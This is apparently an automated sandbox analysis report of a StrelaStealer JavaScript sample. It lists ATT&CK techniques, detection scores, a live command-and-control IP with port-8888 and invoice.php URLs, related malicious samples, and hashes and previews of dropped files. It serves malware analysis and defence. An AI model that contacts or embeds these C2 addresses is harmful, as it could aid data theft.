Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
599461291572316126.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer
599461291572316126.js	7%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/8)	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/J	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/8)	net.exe, 00000007.00000002.2182749127.000001C722B94000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2181050810.000001C722B94000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2180733411.000002A58ED80000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://193.143.1.205:8888/J	net.exe, 00000007.00000002.2182671863.000001C722B58000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.3403538003.000002A58F000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2182749127.000001C722B94000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182671863.000001C722B58000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182872695.000001C722BB0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2181050810.000001C722B94000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2180010423.000001C722BAE000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589057
Start date and time:	2025-01-11 08:57:34 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	599461291572316126.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 184.28.90.27, 23.209.209.135, 2.16.168.105, 2.16.168.107, 13.107.246.45, 3.233.129.217, 4.175.87.197, 23.47.168.24
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:58:26	API Interceptor	23x Sleep call for process: powershell.exe modified
02:58:30	API Interceptor	1x Sleep call for process: net.exe modified
02:58:30	API Interceptor	2x Sleep call for process: svchost.exe modified
02:58:38	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	19559251331544623964.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1110167182254330320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6942228092691529249.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	944924352317221058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2878822876987216987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2801910740378426994.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14551240011188825169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22931850270221075.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1444589682028830633.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	19559251331544623964.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1274513223711714673.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1110167182254330320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6942228092691529249.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	944924352317221058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2878822876987216987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2801910740378426994.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2784527361260704938.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	89131879533771361.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24283946104055016.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263243389824021
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH02:9JZj5MiKNnNhoxuD
MD5:	2BC9DB1DED64C10D7B2E07EF713EBFD1
SHA1:	DBC3801A8898261FBBE7A2C2A8967BB1496AA911
SHA-256:	459A1E998076B8AE7DF56F7B29B34B3536D369723DFA1847D3AB677FB70C2C1E
SHA-512:	B46BE6195BCEDE31EA2BD8E3BFC6209EE7539BD09DF42628DE79B41A202B2E53D9AC762A32A3A4BE09C8B271C4B39B01851C85DB4FA3F680158E8C5F3F3AF885
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x727dcdbb, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555980933036809
Encrypted:	false
SSDEEP:	1536:VSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:VazaSvGJzYj2UlmOlOL
MD5:	1CE2A2B4FE57A1EFAFE1E774BFA0F047
SHA1:	4074F5FA8CAD85D5190D0B336AB334B119DF4219
SHA-256:	23BA5817BEF3B24B1EBBB9E56CF0A8AD9EB1BD60364FF79390155951799EF306
SHA-512:	B324EEC2CAF38B9DA4EFE851F8C37BF7E5B97C0BC1141B4CA0BE047A34C9814B566DD1A776C4E45972AAD77590C405EF19F329D3E6EC9EA50E23726B7C15347E
Malicious:	false
Preview:	r}.... .......7.......X\...;...{......................0.e......!...{?..:...}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{.....................................:...}......................:...}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08003911600199429
Encrypted:	false
SSDEEP:	3:JxyKYeMKfp3TNaAPaU1lLKMeplqlluxmO+l/SNxOf:JgKzdpDNDPaUuMepQgmOH
MD5:	5053022D500D754698F07A2636B7B5AE
SHA1:	6999BD5C243BC115E3DF349CF6F330AB7ADEA7C3
SHA-256:	BEDE9F673E281C2FFA1BE14DB5F96F34E0B0A94E4F6EC4CED369908188766322
SHA-512:	9165694844F003AA3061ED1F1C2B0CAA172B7E3ED76E8833BC4ACADB77D56A83CF649087F015BF3E4E8F284F67ADDBACEA0F339ACF889B827CE99FF823BA081C
Malicious:	false
Preview:	.........................................;...{...:...}...!...{?..........!...{?..!...{?..g...!...{?.....................:...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.147283679456263
Encrypted:	false
SSDEEP:	6:iOkDOq2PN72nKuAl9OmbnIFUtAhhZmwv7/zkwON72nKuAl9OmbjLJ:7uOvVaHAahFUtAhh/f5OaHAaSJ
MD5:	2297CDADBD8805C9E7E7B28F00562E98
SHA1:	50DC2D7BEF19C202C57FE4B98319B33AB38578C1
SHA-256:	BBB2DBCE27209AEF19681D438E1AE5F93DF7B990EF0DF6DD95DD75B7979018A4
SHA-512:	85E26BA663A864950FE5F4E0424B91FAF5A8BB4ECC00982219BA6DE29E72267B052D3B05DA9F3F6302897737464040540FC49C7D0C603D88F61F489C4179FCB4
Malicious:	false
Preview:	2025/01/11-02:58:30.712 d20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:58:30.714 d20 Recovering log #3.2025/01/11-02:58:30.715 d20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.147283679456263
Encrypted:	false
SSDEEP:	6:iOkDOq2PN72nKuAl9OmbnIFUtAhhZmwv7/zkwON72nKuAl9OmbjLJ:7uOvVaHAahFUtAhh/f5OaHAaSJ
MD5:	2297CDADBD8805C9E7E7B28F00562E98
SHA1:	50DC2D7BEF19C202C57FE4B98319B33AB38578C1
SHA-256:	BBB2DBCE27209AEF19681D438E1AE5F93DF7B990EF0DF6DD95DD75B7979018A4
SHA-512:	85E26BA663A864950FE5F4E0424B91FAF5A8BB4ECC00982219BA6DE29E72267B052D3B05DA9F3F6302897737464040540FC49C7D0C603D88F61F489C4179FCB4
Malicious:	false
Preview:	2025/01/11-02:58:30.712 d20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:58:30.714 d20 Recovering log #3.2025/01/11-02:58:30.715 d20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.194488833749275
Encrypted:	false
SSDEEP:	6:iOD+q2PN72nKuAl9Ombzo2jMGIFUtaZmwoHzkwON72nKuAl9Ombzo2jMmLJ:7qvVaHAa8uFUta/oT5OaHAa8RJ
MD5:	B1491A5B3ED589A534D5279981C150CC
SHA1:	A3D386D1CEC7E3101511415D19841DEEFD64018C
SHA-256:	35FABB7A8D593EAB004FC3E87453AD1BC79F7A0AEC32715799B2CA6A82CC5CE5
SHA-512:	D0771897F27E8007794174FE4BA677524F7F876E5CF549AAB22F092DB14415174A96C32E3A20147F4B3072CA4B8A5B9F2F403E54E12F7FA101520258861B8DD7
Malicious:	false
Preview:	2025/01/11-02:58:30.768 1a44 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:58:30.769 1a44 Recovering log #3.2025/01/11-02:58:30.770 1a44 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.194488833749275
Encrypted:	false
SSDEEP:	6:iOD+q2PN72nKuAl9Ombzo2jMGIFUtaZmwoHzkwON72nKuAl9Ombzo2jMmLJ:7qvVaHAa8uFUta/oT5OaHAa8RJ
MD5:	B1491A5B3ED589A534D5279981C150CC
SHA1:	A3D386D1CEC7E3101511415D19841DEEFD64018C
SHA-256:	35FABB7A8D593EAB004FC3E87453AD1BC79F7A0AEC32715799B2CA6A82CC5CE5
SHA-512:	D0771897F27E8007794174FE4BA677524F7F876E5CF549AAB22F092DB14415174A96C32E3A20147F4B3072CA4B8A5B9F2F403E54E12F7FA101520258861B8DD7
Malicious:	false
Preview:	2025/01/11-02:58:30.768 1a44 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:58:30.769 1a44 Recovering log #3.2025/01/11-02:58:30.770 1a44 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.953916759030178
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqdesBdOg2Hhcaq3QYiubcP7E4T3y:Y2sRdsYdMHY3QYhbA7nby
MD5:	89C43DF9B6A05FE7B8F0D6DE4C9F8A53
SHA1:	5EFE40936C662DDDCC85BB75C1D4E98EC11497BF
SHA-256:	1CDC740D2B629C4676EF6BC887E9AFCEFE012566A237D00F06A2F3C131A4F44C
SHA-512:	B4AEB682F636A9E277966AF9B77AFBD2A9180D0FDC7EB3EC5FEB56D392DE504662A5214217CC66D849517AB46AB5CD763C05742ADDE74D8A56AFCD39398BD954
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381142322463665","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":123056},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e97e5f99-7b20-4cc9-9e09-f46251d95ba9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.953916759030178
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqdesBdOg2Hhcaq3QYiubcP7E4T3y:Y2sRdsYdMHY3QYhbA7nby
MD5:	89C43DF9B6A05FE7B8F0D6DE4C9F8A53
SHA1:	5EFE40936C662DDDCC85BB75C1D4E98EC11497BF
SHA-256:	1CDC740D2B629C4676EF6BC887E9AFCEFE012566A237D00F06A2F3C131A4F44C
SHA-512:	B4AEB682F636A9E277966AF9B77AFBD2A9180D0FDC7EB3EC5FEB56D392DE504662A5214217CC66D849517AB46AB5CD763C05742ADDE74D8A56AFCD39398BD954
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381142322463665","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":123056},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.249853735535279
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7ZleNQ:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhd
MD5:	4BC5F190672D2E9ED476A92B493C29C6
SHA1:	3632FE9ADA8EC750A7A50BCB52808C252C7FEE49
SHA-256:	6A2FC16F1799A5DF48CB622B4AE711559ECA9E6B94E5BC6506340E427A0B35F9
SHA-512:	8B45B78D7536885CF81FC501CDD2748FD709D5EB63C99FBC0982F06C34B7277A994E659B2F2742D22F4AF2A4448684376C162403FF716E068C33E8DA7DBF7942
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.170574922296076
Encrypted:	false
SSDEEP:	6:iOWQcSq2PN72nKuAl9OmbzNMxIFUtwJIZmwaJQkwON72nKuAl9OmbzNMFLJ:7WQcSvVaHAa8jFUtwJI/aJQ5OaHAa84J
MD5:	1D3103A8C86A4174215AE13EE8EAD1D4
SHA1:	CE934397CA33BA54E753919B1F7DD9152916602F
SHA-256:	4F8EEAE4BE93F70F4C86AE879637BD7FFEA7188E27EE1E05D7DDC2F02BCA6060
SHA-512:	0A5662F4734BE39C3F000B6ED51A8470F63A9D6E4AAC2D8E2B0B737EA4E332DDD3A97F2A6C1714EF6B962014192A302AB09483CA6E547905DE9020FE8D909E71
Malicious:	false
Preview:	2025/01/11-02:58:30.859 1a44 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:58:30.861 1a44 Recovering log #3.2025/01/11-02:58:30.861 1a44 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.170574922296076
Encrypted:	false
SSDEEP:	6:iOWQcSq2PN72nKuAl9OmbzNMxIFUtwJIZmwaJQkwON72nKuAl9OmbzNMFLJ:7WQcSvVaHAa8jFUtwJI/aJQ5OaHAa84J
MD5:	1D3103A8C86A4174215AE13EE8EAD1D4
SHA1:	CE934397CA33BA54E753919B1F7DD9152916602F
SHA-256:	4F8EEAE4BE93F70F4C86AE879637BD7FFEA7188E27EE1E05D7DDC2F02BCA6060
SHA-512:	0A5662F4734BE39C3F000B6ED51A8470F63A9D6E4AAC2D8E2B0B737EA4E332DDD3A97F2A6C1714EF6B962014192A302AB09483CA6E547905DE9020FE8D909E71
Malicious:	false
Preview:	2025/01/11-02:58:30.859 1a44 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:58:30.861 1a44 Recovering log #3.2025/01/11-02:58:30.861 1a44 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444788191419763
Encrypted:	false
SSDEEP:	384:ye6ci5txiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mCs3OazzU89UTTgUL
MD5:	05DC3F703DD658A9CF589504665C3BB2
SHA1:	8800D7F3DBB2BC90AE83C467BCF46F78422C161A
SHA-256:	F8F3B734397D2395068A9495546C4A71BFB64D03717BFA7753C6EEBF3B776CD2
SHA-512:	FB8F38FEC49FA96571611F845691B97A0A837C3AE65D11BD1791E7F7911ECEA9AAD784CED25BEE4222F66E363B52D79DBB5257083514B261ED49CAD321DC43BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.768472729507746
Encrypted:	false
SSDEEP:	48:7MpJioyVaioycoy1C7oy16oy1wKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1OP:7qJuaILXjBi5b9IVXEBodRBkps
MD5:	AC781F50F10384062C12DA4C58F53BF0
SHA1:	07A2A59714F1047CEC723B1F9F72A3A3A61EF597
SHA-256:	A961478B4E2DB403B0F193B248CDF8F533A71143A76A21285EDD9F3A7FECE973
SHA-512:	913BFE902CDFD97AEC36482F96EDCAE01C44B0A4EBD76945BBD59A4E0C19549E78FE90EAA96E8141DC7A4080248CC198FC805BE1CC75FE4613EE916EADC74498
Malicious:	false
Preview:	.... .c........"...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.76081411817498
Encrypted:	false
SSDEEP:	3:kkFklPuy6l/tfllXlE/HT8khh/XNNX8RolJuRdxLlGB9lQRYwpDdt:kKpy6l/eT8QhVNMa8RdWBwRd
MD5:	5EC56A35F5328B3D603156420871D52E
SHA1:	3228099846322E4DCF7A14B72F3C9C63169D3F40
SHA-256:	C64BECAC770C91350EAC692D2792B269258EC23B3287A8113A635ED967B32234
